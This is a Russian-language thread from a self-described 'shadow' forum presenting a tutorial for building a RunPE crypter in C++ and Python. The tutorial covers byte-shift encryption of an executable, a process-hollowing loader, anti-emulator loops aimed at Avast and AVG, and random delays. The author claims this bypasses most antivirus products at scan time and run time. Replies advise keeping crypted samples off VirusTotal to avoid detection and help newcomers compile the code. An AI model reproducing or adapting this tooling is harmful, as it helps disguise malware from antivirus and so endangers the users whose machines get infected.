Идея Авторская статья - Криптуем NATIVE приложение (RunPE/C++)

Тема в разделе "Вирусология", создана пользователем ims0rry, 8 ноя 2017.

  1. ims0rry

    ims0rry

    Сообщения:
    122
    Баллы:
    18
    Вся информация предоставлена исключительно в ознакомительных целях. Ни администрация, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.



    Материалы:
    • Visual Studio
    • Python 3.5
    • Python 2.7
    • 2 руки
    • Пару извилин
    Итак, начнем:
    А начнем мы, пожалуй, с написания самой простой программки, на которой мы и будем тестировать наш крипт.
    (Далее - пейлоад)


    Создаем проект консольного C++ приложения (x86 или win32).
    Внутри прописываем:

    Код:
    #include <Windows.h>
    int main()
    {
    MessageBox(NULL, L"test", L"test", ICON_SMALL);
    return 0;
    }
    Компилим, тестируем, выдается окно с надписью "test".

    Откладываем этот проект и приступаем к части шифрования данных.
    (Далее -
    энкодер)

    Создаем еще один такой же проект.
    Далее нам нужно набросать примерный алгоритм шифрования байтов.
    Я сильно заморачиваться не буду и просто напишу вычитание из оригинала
    0х11.
    Для начала узнаем размер считываемого файла:


    Код:

    FILE * file = fopen("in.exe", "rb");
    if (file == NULL) return 0;
    fseek(file, 0, SEEK_END);
    long int size = ftell(file);
    fclose(file);


    Далее считываем байты в массив и шифруем их:

    Код:
    file = fopen("in.exe", "rb");
    unsigned char * in = (unsigned char *)malloc(size);
    int bytes_read = fread(in, sizeof(unsigned char), size, file);
    fclose(file);

    for (int i = 0; i < size; i++) {
    in = in - 0x11;
    }


    Выплевываем зашифрованный файл:

    Код:
    file = fopen("out.exe", "wb");
    int bytes_written = fwrite(in, sizeof(unsigned char), size, file);
    fclose(file);


    И сразу дешифруем его таким же методом чтоб убедиться, что он остается рабочим:

    Код:
    for (int i = 0; i < size; i++) {
    in = in + 0x11;
    }

    file = fopen("decr.exe", "wb");
    bytes_written = fwrite(in, sizeof(unsigned char), size, file);
    fclose(file);


    Компилируем проект, пропускаем пейлоад через энкодер и видим на выходе 2 файла: out.exe и decr.exe. Пробуем запустить decr.exe - если вылезает окошко "test", значит все хорошо.

    Далее, нам нужно получить массив байт из зашифрованного файла, чтоб в дальнейшем вставить этот массив в
    криптор.
    Для этого пишем простенький скрипт на
    Python 2.7 и прогоняем через него наш файл out.exe:

    Код:
    import os, binascii
    target = "out.exe"
    output_file = "file.txt"
    bytes_per_line = 16
    try:
    count = 0;
    index = 0;
    output = "unsigned char rawData[] = {\n\t"
    with open(target, "rb") as f:
    hexdata = binascii.hexlify(f.read())
    hexlist = map(''.join, zip(*[iter(hexdata)]*2))
    for hex in hexlist:
    if count >= bytes_per_line:
    output += "\n\t"
    count = 0;
    output += "0x" + str(hexlist[index]).upper() + ","
    count += 1;
    index += 1;
    output += "\n};\n"
    out = open(output_file, "w")
    out.write(output)
    out.close()
    except:
    pass


    Создался файл file.txt, сохраняем его и приступаем к следующему шагу.

    Теперь самая важная часть
    криптора - собственно, сам криптор.
    Создаем проект приложения win32 и вставляем наш массив из файла file.txt перед методом main().
    Сразу прописываем хедеры к этому файлу:


    Код:

    #include <windows.h>
    #include <winternl.h>
    #pragma comment(lib,"ws2_32.lib")
    #pragma comment(lib,"ntdll.lib")


    И функцию RunPE:

    Код:
    int RunPortableExecutable(void* Image) {
    IMAGE_DOS_HEADER* DOSHeader;
    IMAGE_NT_HEADERS* NtHeader;
    IMAGE_SECTION_HEADER* SectionHeader;
    PROCESS_INFORMATION PI;
    STARTUPINFOA SI;
    CONTEXT* CTX;
    DWORD* ImageBase;
    void* pImageBase;
    int count;
    char buffer[MAX_PATH];
    GetModuleFileNameA(NULL, (LPSTR)buffer, MAX_PATH);
    char *CurrentFilePath = buffer;
    DOSHeader = PIMAGE_DOS_HEADER(Image);
    NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);
    if (NtHeader->Signature == IMAGE_NT_SIGNATURE) {
    ZeroMemory(&PI, sizeof(PI));
    ZeroMemory(&SI, sizeof(SI));
    typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
    NtUnmapViewOfSection mNtUnmapViewOfSection;
    if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) {
    CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
    CTX->ContextFlags = CONTEXT_FULL;
    if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {
    ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
    pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
    NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
    for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {
    SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));
    WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
    LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
    }
    WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
    CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
    SetThreadContext(PI.hThread, LPCONTEXT(CTX));
    ResumeThread(PI.hThread);
    return 0;
    }
    }
    }
    }


    Далее в методе main() нам необходимо расшифровать массив байт и запустить его, перезаписав память собственного процесса:

    Код:
    for (int i = 0; i < 550000; i++)
    OutputDebugStringW(L""); //Код для заглота Avast & AVG
    for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) {
    unsigned char b = rawData + 0x11;
    rawData = b;
    }
    Sleep(((rand() % 5 + 1) + 2) * 1000); //Рандомная задержка
    RunPortableExecutable(rawData);
    delete[] rawData;



    Иии, собственно все, криптор готов.
    Единственный момент - после компиляции проекта криптора, на файле будет иконка. Уберите ее, а то словите очень много GEN детектов.

    Таким методом обходится не только
    Scantime, но и Runtime. Это я протестировал лично на своем . Как результат - полный обход всех популярных антивирусов, кроме Avira.

    Scantime - http://viruscheckmate.com/id/2cO3PRtR2r8x
    Runtime - https://run4me.net/result/1db6493fd0fc5c2fba2ea6a4f1a8a20594c37754c21bb1fe4fed7aaad68d63d6
    Полностью автоматизированный билдер с рандомной генерацией числа, отнимаемого от оригинала + сорцы -

    Скрытый контент. Для просмотра информации необходимо 90 репутации.
    Нажмите, чтобы раскрыть...​
  2. yarr

    yarr

    Сообщения:
    323
    Баллы:
    18
  3. TRDD

    TRDD

    Сообщения:
    423
    Баллы:
    16
    Ты так все файлы сливаешь на VT?

    Получил личный, буду тестировать, через пару дней отпишусь. Есть уже один детект, судя по вышеуказанному VT.
    Реально полезная информация, посмотрим сколько проживет.
  4. rejjin

    rejjin

    Сообщения:
    140
    Баллы:
    16
    Отличная тема.
    Никогда не читал про крипторы, оказалось все просто.
    Только непонятно, почему крипторы стоят так дорого и чем отличаются (и как софт, и как услуга, стоит не мало)? Если подумать, сдвиг тут любой подойдет и антивирусы не будут чекать, самое слабое место, это процесс записи в собственный процесс, а тут особо не разгуляешься.
  5. yarr

    yarr

    Сообщения:
    323
    Баллы:
    18
    НЕ ВСЕ. Снова началось... Уже этот вопрос тут обсуждали (с одним "умником", все потерли модераторы.) Не будем провоцировать срач, ОК? Уже проходили. Можешь в л/с писать, а не здесь задавать бессмысленные вопросы.

    Посмотри мою тему про Evil Droid, к примеру, там я писал, что на VT нельзя сливать, но я имел ввиду не Evil Droid, а результата его работы... Из-за того, что я этот АРХИВ (прошу заметить, НЕ РЕЗУЛЬТАТ РАБОТЫ КРИПТОРА, залил на VT ничего страшного не произойдет).
    Сейчас еще раз проверил, детект только от Baidu Win32.Trojan.WisdomEyes.16070401.9500.9692. И я ОЧЕНЬ СОМНЕВАЮСЬ, что он появился из-за меня. Можешь погуглить про WisdomEyes и Baidu.
  6. TRDD

    TRDD

    Сообщения:
    423
    Баллы:
    16
    Без проблем, все грамотно объяснил.
    Но я уверен, будут люди, которые после твоего вышеуказанного поста начнут сливать файлы на VT. Аргументируя это тем, что: "Вот тот парень с репой сливал и ничего".
  7. yarr

    yarr

    Сообщения:
    323
    Баллы:
    18
    Ну да, тут нужна оговорка. НЕЛЬЗЯ ТЕСТИТЬ РЕЗУЛЬТАТЫ РАБОТЫ КРИПТОРА. Да и сам криптор без архива желатльно на VM проверять. Небезызвестный Evil Droid так и слили. Скрипту пофиг, а результаты работы через несколько дней стали детектироваться. А так как эффективная обфускация/крипт apk дело не легкое...
    Про apk
    https://damagelab.in/index.php?topic=25892.0
  8. ims0rry

    ims0rry

    Сообщения:
    122
    Баллы:
    18
    Я выложил лишь принцип, реализация везде самая разная. Вплоть до считывания байтов пейлоада с картинки. Также, сдвиги тоже сделаны для примера, в основном юзают вместо этого XOR, AES и тому подобное. И RunPE не единственный способ запуска приложения в памяти, вот шикарная статья про 10 способов инжекта в процесс - https://www.endgame.com/blog/techni...-technical-survey-common-and-trending-process
  9. Mr_VVoodman

    Mr_VVoodman

    Сообщения:
    536
    Баллы:
    16
    К чему это? Это же "теневой" форум, он же для этого и создан.
  10. ims0rry

    ims0rry

    Сообщения:
    122
    Баллы:
    18
    На всякий случай)
  11. igor6709

    igor6709

    Сообщения:
    73
    Баллы:
    6
    "Откладываем этот проект и приступаем к части шифрования данных.
    (Далее - энкодер)"
    Вот это не понятно!
    Первый проект создал,работает.Отложил,создал второй проект,а вот тут и ступор. (Далее - энкодер) вот те коды что с ними куда вписывать?
  12. ims0rry

    ims0rry

    Сообщения:
    122
    Баллы:
    18
    Точно так же, в метод main()
  13. igor6709

    igor6709

    Сообщения:
    73
    Баллы:
    6
    не понятно "main()" [​IMG]
  14. ims0rry

    ims0rry

    Сообщения:
    122
    Баллы:
    18
    У тебя их два вообще) Весь исполняемый код прописывается в главной функции main, т.е. вызовы других ф-й и прочее
  15. igor6709

    igor6709

    Сообщения:
    73
    Баллы:
    6
    Начинаю создавать проект куда вписывать первый твой код,где этот main? [​IMG]
  16. igor6709

    igor6709

    Сообщения:
    73
    Баллы:
    6
    Тема очень за интересовала,видео бы не плохо. А так не очень понятно.
  17. yura_hita

    yura_hita

    Сообщения:
    86
    Баллы:
    6
    _tmain это оно, перед return 0; вставляй
  18. igor6709

    igor6709

    Сообщения:
    73
    Баллы:
    6
    Вот что получилось
    [​IMG]
  19. TRDD

    TRDD

    Сообщения:
    423
    Баллы:
    16
    Тоже долго разбирался. Видео вряд ли, .gif были бы не лишними.
  20. yura_hita

    yura_hita

    Сообщения:
    86
    Баллы:
    6
    Ну если ты всё копируешь, то то что там по стандарту прописано можешь убрать, кроме stdafx.h [​IMG]

Поделиться этой страницей

Top